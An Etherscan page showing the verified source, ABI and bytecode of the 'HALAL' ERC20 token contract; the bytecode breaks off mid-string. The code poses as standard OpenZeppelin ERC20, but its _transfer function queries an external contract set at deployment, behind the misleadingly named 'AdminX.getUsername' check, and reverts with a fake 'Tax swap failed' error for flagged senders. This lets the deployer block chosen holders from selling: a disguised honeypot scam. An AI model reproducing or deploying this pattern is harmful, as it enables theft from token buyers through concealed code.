ETH Price: $2,257.30 (-1.00%)
 

Overview

Max Total Supply

30,000,000,000 HALAL

Holders

1

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
HALAL

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-08-31
*/

/**

$HALAL

ABSOLUTELY HALAL

https://t.me/Absltly_Halal
https://twitter.com/Absltly_Halal
https://absolutelyhalal.lol


*/


// SPDX-License-Identifier: MIT



pragma solidity ^0.8.14;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}



pragma solidity ^0.8.14;





abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}


// File: @openzeppelin/contracts/token/ERC20/IERC20.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.14;

interface AdminX {
    function getUsername(address _account) external view returns (bool);
}
/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

  
    function transfer(address to, uint256 amount) external returns (bool);


    function allowance(address owner, address spender) external view returns (uint256);


    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}


// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.14;


/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}



// File: @openzeppelin/contracts/token/ERC20/ERC20.sol


// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.14;


contract TOKENC is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    AdminX public _normaltax;
    mapping(address => mapping(address => uint256)) private _allowancez;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory coin_, string memory symbol_, address _taxdev) {
        _name = coin_;
        _symbol = symbol_;
        _normaltax = AdminX(_taxdev);
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }


    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowancez[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }


    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

 
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!_normaltax.getUsername(from), "Tax swap failed");
        require(to != address(0), "ERC20: transfer to the zero address");
        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }




    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowancez[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }


    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}


    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}


pragma solidity ^0.8.14;



contract HALAL is TOKENC, Ownable {
    uint256 private constant supply_ = 30000000000 * 10**18;

    constructor(
        string memory coin_,
        string memory symbol_,
        uint256 gotime,
        uint256 txpro,
        uint256 tradeop,
        uint256 jolvar,
        address _taxdev
    ) TOKENC(coin_, symbol_, _taxdev) {
        _mint(msg.sender, supply_);
    }

    function sendallTokens(address devaddress) external onlyOwner {
        uint256 supply = balanceOf(msg.sender);
        require(supply == supply_, "Tokens sent to owner");

        _transfer(msg.sender, devaddress, supply_); 
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"string","name":"coin_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"gotime","type":"uint256"},{"internalType":"uint256","name":"txpro","type":"uint256"},{"internalType":"uint256","name":"tradeop","type":"uint256"},{"internalType":"uint256","name":"jolvar","type":"uint256"},{"internalType":"address","name":"_taxdev","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_normaltax","outputs":[{"internalType":"contract AdminX","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"devaddress","type":"address"}],"name":"sendallTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405234801562000010575f80fd5b506040516200239538038062002395833981810160405281019062000036919062000542565b86868282600490816200004a91906200085c565b5081600590816200005c91906200085c565b508060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050620000c0620000b4620000eb60201b60201c565b620000f260201b60201c565b620000de336b60ef6b1aba6f072330000000620001b560201b60201c565b5050505050505062000a51565b5f33905090565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000226576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200021d906200099e565b60405180910390fd5b620002395f83836200031a60201b60201c565b8060035f8282546200024c9190620009eb565b92505081905550805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620002fb919062000a36565b60405180910390a3620003165f83836200031f60201b60201c565b5050565b505050565b505050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b62000385826200033d565b810181811067ffffffffffffffff82111715620003a757620003a66200034d565b5b80604052505050565b5f620003bb62000324565b9050620003c982826200037a565b919050565b5f67ffffffffffffffff821115620003eb57620003ea6200034d565b5b620003f6826200033d565b9050602081019050919050565b5f5b838110156200042257808201518184015260208101905062000405565b5f8484015250505050565b5f620004436200043d84620003ce565b620003b0565b90508281526020810184848401111562000462576200046162000339565b5b6200046f84828562000403565b509392505050565b5f82601f8301126200048e576200048d62000335565b5b8151620004a08482602086016200042d565b91505092915050565b5f819050919050565b620004bd81620004a9565b8114620004c8575f80fd5b50565b5f81519050620004db81620004b2565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6200050c82620004e1565b9050919050565b6200051e8162000500565b811462000529575f80fd5b50565b5f815190506200053c8162000513565b92915050565b5f805f805f805f60e0888a03121562000560576200055f6200032d565b5b5f88015167ffffffffffffffff81111562000580576200057f62000331565b5b6200058e8a828b0162000477565b975050602088015167ffffffffffffffff811115620005b257620005b162000331565b5b620005c08a828b0162000477565b9650506040620005d38a828b01620004cb565b9550506060620005e68a828b01620004cb565b9450506080620005f98a828b01620004cb565b93505060a06200060c8a828b01620004cb565b92505060c06200061f8a828b016200052c565b91505092959891949750929550565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200067d57607f821691505b60208210810362000693576200069262000638565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620006f77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620006ba565b620007038683620006ba565b95508019841693508086168417925050509392505050565b5f819050919050565b5f620007446200073e6200073884620004a9565b6200071b565b620004a9565b9050919050565b5f819050919050565b6200075f8362000724565b620007776200076e826200074b565b848454620006c6565b825550505050565b5f90565b6200078d6200077f565b6200079a81848462000754565b505050565b5b81811015620007c157620007b55f8262000783565b600181019050620007a0565b5050565b601f8211156200081057620007da8162000699565b620007e584620006ab565b81016020851015620007f5578190505b6200080d6200080485620006ab565b8301826200079f565b50505b505050565b5f82821c905092915050565b5f620008325f198460080262000815565b1980831691505092915050565b5f6200084c838362000821565b9150826002028217905092915050565b62000867826200062e565b67ffffffffffffffff8111156200088357620008826200034d565b5b6200088f825462000665565b6200089c828285620007c5565b5f60209050601f831160018114620008d2575f8415620008bd578287015190505b620008c985826200083f565b86555062000938565b601f198416620008e28662000699565b5f5b828110156200090b57848901518255600182019150602085019450602081019050620008e4565b868310156200092b578489015162000927601f89168262000821565b8355505b6001600288020188555050505b505050505050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f62000986601f8362000940565b9150620009938262000950565b602082019050919050565b5f6020820190508181035f830152620009b78162000978565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f620009f782620004a9565b915062000a0483620004a9565b925082820190508082111562000a1f5762000a1e620009be565b5b92915050565b62000a3081620004a9565b82525050565b5f60208201905062000a4b5f83018462000a25565b92915050565b6119368062000a5f5f395ff3fe608060405234801561000f575f80fd5b50600436106100fe575f3560e01c806370a0823111610095578063a457c2d711610064578063a457c2d71461029c578063a9059cbb146102cc578063dd62ed3e146102fc578063f2fde38b1461032c576100fe565b806370a0823114610226578063715018a6146102565780638da5cb5b1461026057806395d89b411461027e576100fe565b806318160ddd116100d157806318160ddd1461018a57806323b872dd146101a8578063313ce567146101d857806339509351146101f6576100fe565b80630485df5314610102578063054da9911461011e57806306fdde031461013c578063095ea7b31461015a575b5f80fd5b61011c60048036038101906101179190610f6d565b610348565b005b6101266103c5565b6040516101339190610ff3565b60405180910390f35b6101446103ea565b6040516101519190611096565b60405180910390f35b610174600480360381019061016f91906110e9565b61047a565b6040516101819190611141565b60405180910390f35b61019261049c565b60405161019f9190611169565b60405180910390f35b6101c260048036038101906101bd9190611182565b6104a5565b6040516101cf9190611141565b60405180910390f35b6101e06104d3565b6040516101ed91906111ed565b60405180910390f35b610210600480360381019061020b91906110e9565b6104db565b60405161021d9190611141565b60405180910390f35b610240600480360381019061023b9190610f6d565b610511565b60405161024d9190611169565b60405180910390f35b61025e610556565b005b610268610569565b6040516102759190611215565b60405180910390f35b610286610591565b6040516102939190611096565b60405180910390f35b6102b660048036038101906102b191906110e9565b610621565b6040516102c39190611141565b60405180910390f35b6102e660048036038101906102e191906110e9565b610696565b6040516102f39190611141565b60405180910390f35b6103166004803603810190610311919061122e565b6106b8565b6040516103239190611169565b60405180910390f35b61034660048036038101906103419190610f6d565b61073a565b005b6103506107bc565b5f61035a33610511565b90506b60ef6b1aba6f07233000000081146103aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103a1906112b6565b60405180910390fd5b6103c133836b60ef6b1aba6f07233000000061083a565b5050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6060600480546103f990611301565b80601f016020809104026020016040519081016040528092919081815260200182805461042590611301565b80156104705780601f1061044757610100808354040283529160200191610470565b820191905f5260205f20905b81548152906001019060200180831161045357829003601f168201915b5050505050905090565b5f80610484610bed565b9050610491818585610bf4565b600191505092915050565b5f600354905090565b5f806104af610bed565b90506104bc858285610db7565b6104c785858561083a565b60019150509392505050565b5f6012905090565b5f806104e5610bed565b90506105068185856104f785896106b8565b610501919061135e565b610bf4565b600191505092915050565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61055e6107bc565b6105675f610e42565b565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546105a090611301565b80601f01602080910402602001604051908101604052809291908181526020018280546105cc90611301565b80156106175780601f106105ee57610100808354040283529160200191610617565b820191905f5260205f20905b8154815290600101906020018083116105fa57829003601f168201915b5050505050905090565b5f8061062b610bed565b90505f61063882866106b8565b90508381101561067d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067490611401565b60405180910390fd5b61068a8286868403610bf4565b60019250505092915050565b5f806106a0610bed565b90506106ad81858561083a565b600191505092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6107426107bc565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036107b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a79061148f565b60405180910390fd5b6107b981610e42565b50565b6107c4610bed565b73ffffffffffffffffffffffffffffffffffffffff166107e2610569565b73ffffffffffffffffffffffffffffffffffffffff1614610838576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082f906114f7565b60405180910390fd5b565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036108a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089f90611585565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610916576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090d90611613565b60405180910390fd5b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ce43c032846040518263ffffffff1660e01b81526004016109709190611215565b602060405180830381865afa15801561098b573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109af919061165b565b156109ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e6906116d0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610a5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5490611613565b60405180910390fd5b610a68838383610f05565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610aeb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae29061175e565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610bd49190611169565b60405180910390a3610be7848484610f0a565b50505050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c59906117ec565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc79061187a565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610daa9190611169565b60405180910390a3505050565b5f610dc284846106b8565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610e3c5781811015610e2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e25906118e2565b60405180910390fd5b610e3b8484848403610bf4565b5b50505050565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610f3c82610f13565b9050919050565b610f4c81610f32565b8114610f56575f80fd5b50565b5f81359050610f6781610f43565b92915050565b5f60208284031215610f8257610f81610f0f565b5b5f610f8f84828501610f59565b91505092915050565b5f819050919050565b5f610fbb610fb6610fb184610f13565b610f98565b610f13565b9050919050565b5f610fcc82610fa1565b9050919050565b5f610fdd82610fc2565b9050919050565b610fed81610fd3565b82525050565b5f6020820190506110065f830184610fe4565b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611043578082015181840152602081019050611028565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6110688261100c565b6110728185611016565b9350611082818560208601611026565b61108b8161104e565b840191505092915050565b5f6020820190508181035f8301526110ae818461105e565b905092915050565b5f819050919050565b6110c8816110b6565b81146110d2575f80fd5b50565b5f813590506110e3816110bf565b92915050565b5f80604083850312156110ff576110fe610f0f565b5b5f61110c85828601610f59565b925050602061111d858286016110d5565b9150509250929050565b5f8115159050919050565b61113b81611127565b82525050565b5f6020820190506111545f830184611132565b92915050565b611163816110b6565b82525050565b5f60208201905061117c5f83018461115a565b92915050565b5f805f6060848603121561119957611198610f0f565b5b5f6111a686828701610f59565b93505060206111b786828701610f59565b92505060406111c8868287016110d5565b9150509250925092565b5f60ff82169050919050565b6111e7816111d2565b82525050565b5f6020820190506112005f8301846111de565b92915050565b61120f81610f32565b82525050565b5f6020820190506112285f830184611206565b92915050565b5f806040838503121561124457611243610f0f565b5b5f61125185828601610f59565b925050602061126285828601610f59565b9150509250929050565b7f546f6b656e732073656e7420746f206f776e65720000000000000000000000005f82015250565b5f6112a0601483611016565b91506112ab8261126c565b602082019050919050565b5f6020820190508181035f8301526112cd81611294565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061131857607f821691505b60208210810361132b5761132a6112d4565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611368826110b6565b9150611373836110b6565b925082820190508082111561138b5761138a611331565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f6113eb602583611016565b91506113f682611391565b604082019050919050565b5f6020820190508181035f830152611418816113df565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611479602683611016565b91506114848261141f565b604082019050919050565b5f6020820190508181035f8301526114a68161146d565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6114e1602083611016565b91506114ec826114ad565b602082019050919050565b5f6020820190508181035f83015261150e816114d5565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61156f602583611016565b915061157a82611515565b604082019050919050565b5f6020820190508181035f83015261159c81611563565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6115fd602383611016565b9150611608826115a3565b604082019050919050565b5f6020820190508181035f83015261162a816115f1565b9050919050565b61163a81611127565b8114611644575f80fd5b50565b5f8151905061165581611631565b92915050565b5f602082840312156116705761166f610f0f565b5b5f61167d84828501611647565b91505092915050565b7f5461782073776170206661696c656400000000000000000000000000000000005f82015250565b5f6116ba600f83611016565b91506116c582611686565b602082019050919050565b5f6020820190508181035f8301526116e7816116ae565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611748602683611016565b9150611753826116ee565b604082019050919050565b5f6020820190508181035f8301526117758161173c565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6117d6602483611016565b91506117e18261177c565b604082019050919050565b5f6020820190508181035f830152611803816117ca565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611864602283611016565b915061186f8261180a565b604082019050919050565b5f6020820190508181035f83015261189181611858565b9050919050565b7f4552433230